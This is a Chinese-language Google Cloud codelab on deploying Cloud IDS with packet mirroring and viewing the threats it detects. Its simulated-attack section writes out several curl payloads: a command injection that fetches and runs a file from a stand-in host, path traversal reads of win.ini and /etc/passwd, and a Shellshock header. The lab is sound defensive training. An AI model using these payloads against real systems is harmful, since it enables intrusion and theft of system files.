Cloud IDS

1. 简介

在本实验中,您将部署 Cloud IDS,这是一项新一代高级入侵检测服务,可为入侵、恶意软件、间谍软件以及“命令和控制”攻击提供威胁检测。您将在 Cloud 控制台中模拟多种攻击并查看威胁详细信息。

学习内容

  • 如何创建 Cloud IDS 端点
  • 如何使用 gcloud 命令创建 2 个虚拟机
  • 如何创建数据包镜像政策
  • 如何模拟来自虚拟机的攻击流量
  • 如何在 Cloud 控制台和 Cloud Logging 中查看威胁详细信息

所需条件

  • 了解基本 Linux 命令

2. Cloud IDS 使用场景

Cloud IDS 为客户提供 Google Cloud 原生的新一代入侵检测服务 (IDS),以满足他们的高级威胁检测和合规性要求,例如 PCI 11.4。该服务由 Palo Alto Networks 威胁防护技术提供支持,提供高级入侵检测。将 Google Cloud 的世界级基础架构与 Palo Alto Networks 的世界级安全性相结合,为客户提供全代管式、高性能且安全效率最高的高级威胁检测服务。

随着客户迁移到云端,安全性成为他们的首要任务。他们希望拥有与本地类似的安全控制措施,例如云端的入侵检测服务 (IDS)。与部署第三方安全解决方案和管理基础架构或自带签名相比,他们更喜欢使用云原生托管 IDS 解决方案,因为其易于部署、性能出色并优化成本。Google Cloud IDS 提供可自动扩缩的端到端代管式 IDS 服务,使客户能够花时间分析和缓解威胁,腾出时间和资源来管理基础架构或威胁签名。

Cloud IDS 部署在带外,可以检测威胁并发出提醒,但无法阻止威胁。它利用 Google Cloud 数据包镜像来复制网络流量,并通过 Palo Alto Network 威胁检测引擎进行分析。

3. Codelab 拓扑

5a276f399e1d31e2

图 1. 本实验中 Cloud IDS 部署的简要架构概览。

4. 设置和要求

自定进度的环境设置

  1. 登录 Google Cloud 控制台,然后创建一个新项目或重复使用现有项目。如果您还没有 Gmail 或 Google Workspace 账号,则必须创建一个

96a9c957bc475304

b9a10ebdf5b5a448.png

a1e3c01a38fa61c2.png

  • 项目名称是此项目参与者的显示名称。它是 Google API 尚未使用的字符串,您可以随时对其进行更新。
  • 项目 ID 在所有 Google Cloud 项目中必须是唯一的,并且不可变(一经设置便无法更改)。Cloud Console 会自动生成一个唯一字符串;通常情况下,您无需关注该字符串。在大多数 Codelab 中,您都需要引用项目 ID(它通常标识为 PROJECT_ID),因此如果您不喜欢某个 ID,请再生成一个随机 ID,还可以尝试自己创建一个,并确认是否可用。然后,项目创建后,ID 会处于“冻结”状态。
  • 第三个值是一些 API 使用的项目编号。如需详细了解所有这三个值,请参阅文档
  1. 接下来,您需要在 Cloud Console 中启用结算功能,才能使用 Cloud 资源/API。运行此 Codelab 应该不会产生太多的费用(如果有费用的话)。要关闭资源以避免产生超出本教程范围的费用,请按照此 Codelab 末尾提供的任何“清理”说明操作。Google Cloud 的新用户符合参与 $300 USD 免费试用计划的条件。

启动 Cloud Shell

虽然可以通过笔记本电脑对 Google Cloud 进行远程操作,但在此 Codelab 中,您将使用 Google Cloud Shell,这是一个在云端运行的命令行环境。

在 GCP 控制台中,点击右上角工具栏上的 Cloud Shell 图标:

bce75f34b2c53987.png

预配和连接到环境应该只需要片刻时间。完成后,您应该会看到如下内容:

f6ef2b5f13479f3a.png

这个虚拟机已加载了您需要的所有开发工具。它提供了一个持久的 5GB 主目录,并且在 Google Cloud 中运行,大大增强了网络性能和身份验证功能。只需一个浏览器,即可完成本实验中的所有工作。

5. 准备工作

启用 API

在 Cloud Shell 中,确保已设置项目 ID

gcloud config list project
gcloud config set project [YOUR-PROJECT-NAME]
export PROJECT_ID=$(gcloud config get-value project | sed '2d')

启用所有必要的服务

gcloud services enable compute.googleapis.com
gcloud services enable ids.googleapis.com
gcloud services enable logging.googleapis.com

6. 创建 VPC 网络

VPC 网络

通过 Cloud Shell

gcloud compute networks create cloud-ids \
--subnet-mode=custom

子网

通过 Cloud Shell

gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1

专用服务访问通道

通过 Cloud Shell

gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids

Private Service 连接

通过 Cloud Shell

gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID

防火墙规则

要允许 IAP 连接到您的虚拟机实例,请创建以下防火墙规则:

  • 适用于您希望可以使用 IAP 访问的所有虚拟机实例。
  • 允许来自 IP 范围 35.235.240.0/20 的入站流量。此范围包含 IAP 用于 TCP 转发的所有 IP 地址。

通过 Cloud Shell

gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20

如需允许服务器使用标准 HTTP 端口 (TCP 80) 和 ICMP 协议,请执行以下操作:

  • 适用于带有“server”网络标记的资源
  • 允许来自所有来源的入站流量

通过 Cloud Shell

gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server

创建 Cloud NAT 实例

Cloud Router

通过 Cloud Shell

gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids

Cloud NAT

通过 Cloud Shell

gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges

7. 创建 Cloud IDS 端点

在本部分中,您将在 us-east1 中创建一个 Cloud IDS 端点,并将严重级别设置为“信息”。IDS 端点的创建过程大约需要 20 分钟。

IDS 端点

通过 Cloud Shell

gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async

验证 Cloud IDS 端点已启动

gcloud ids endpoints list --project=$PROJECT_ID

输出 -

ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:

8. 创建 2 个虚拟机

在本部分中,您将创建 2 个虚拟机。第一个是 Web 服务器,服务器将镜像到 Cloud IDS。第二个虚拟机将成为攻击流量来源。

虚拟机 1(服务器)

通过 Cloud Shell

gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB

虚拟机 2(客户端)

通过 Cloud Shell

gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB 

9. 正在准备服务器

在此任务中,您将验证服务器并为客户端提供良性恶意软件载荷。

通过 Cloud Shell 通过 SSH 登录到虚拟机

gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

确认网络服务正在运行

sudo systemctl status nginx

输出 - 验证是否处于活跃状态且正在运行

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
     Docs: man:nginx(8)
 Main PID: 1347 (nginx)
    Tasks: 3 (limit: 4665)
   Memory: 4.5M
   CGroup: /system.slice/nginx.service
           ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
           ├─1348 nginx: worker process
           └─1349 nginx: worker process

May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.

将目录更改为 Web 服务

cd /var/www/html/

在网络服务器上创建良性恶意软件文件

sudo touch eicar.file

粘贴内容

echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file

返回 CloudShell

exit

创建 Cloud IDS 数据包镜像政策

确定 IDS 端点转发规则,并确认 IDS 端点状态为“准备就绪”。

gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b 

输出示例 - 复制“endpointForwardingRule”的值

user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
createTime: '2021-07-01T21:03:56.099839751Z'
endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca
endpointIp: 172.16.30.43
name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1
network: projects/ids-project/global/networks/cloud-ids
severity: INFORMATIONAL
state: READY
updateTime: '2021-07-01T21:21:32.744309107Z'

将 IDS 端点转发规则保存到变量。

export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE

数据包镜像政策

通过 Cloud Shell

gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1

验证是否已创建数据包镜像政策

通过 Cloud Shell

gcloud compute packet-mirrorings list

输出

user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list
NAME                        REGION       NETWORK    ENABLE
cloud-ids-packet-mirroring  us-east1     cloud-ids  TRUE

10. 模拟攻击流量

通过 SSH 连接到攻击者的虚拟机(客户端)

通过 Cloud Shell

gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap

运行以下 curl 请求以模拟恶意流量。

curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical

退出虚拟机以返回到 CloudShell

exit

11. 查看 Cloud IDS 检测到的威胁

导航到 Cloud IDS 信息中心

导航菜单 >网络安全 >Cloud IDS

37583419aa604aa8

导航到“威胁”标签页。

b7d934f409b4e2b.png

如您所见,Cloud IDS 捕获了各种攻击流量配置文件,并提供了每种威胁的详细信息。您可能需要点击“刷新”按钮。现在,我们将进行更深入的探究并查看威胁详情。

找到“Bash 远程代码执行漏洞”然后点击右侧的三个点并选择“View Threat details”(查看威胁详情)

b122b30dd8d43d9b.png

ee1b201a12db7ef7.png

现在,我们将在 Cloud Logging 中查看此突发事件的详细信息。点击向左箭头 ,返回“威胁”页面。

点击右侧的三点状图标,然后选择“查看威胁日志”

b122b30dd8d43d9b.png

ff0d5a0d652ddd83.png

向 Cloud Logging 提供了相同的详细信息。这样,您就可以将日志发送到 Cloud Storage、Chronicle 或任何 SIEM/SOAR。您还可以创建自定义工作流,以根据提醒(如创建在收到提醒时触发的 Cloud Functions 函数,并创建/更新防火墙规则以屏蔽 IP 地址,或创建/更新 Cloud Armor 政策。

12. 清理步骤

退出虚拟机实例(所有标签页)

exit

从单个 Cloud Shell 终端删除实验组件

gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet

gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet

gcloud compute instances delete server --zone=us-east1-b --quiet

gcloud compute instances delete attacker --zone=us-east1-b --quiet

gcloud compute firewall-rules delete allow-iap-proxy --quiet

gcloud compute firewall-rules delete allow-http-icmp --quiet

gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet

gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet

gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet

gcloud compute addresses delete cloud-ids-ips --global --quiet

gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet

gcloud compute networks delete cloud-ids --quiet

13. 恭喜!

恭喜您完成此 Codelab。

所学内容

  • Cloud IDS 使用场景
  • 网络要求
  • 支持的 API
  • 已创建 Cloud IDS 端点
  • 部署了 2 个虚拟机
  • 引发了一些“攻击”来自客户端的流量
  • IDS 检测到了经过验证的威胁
  • 查看威胁详细信息和日志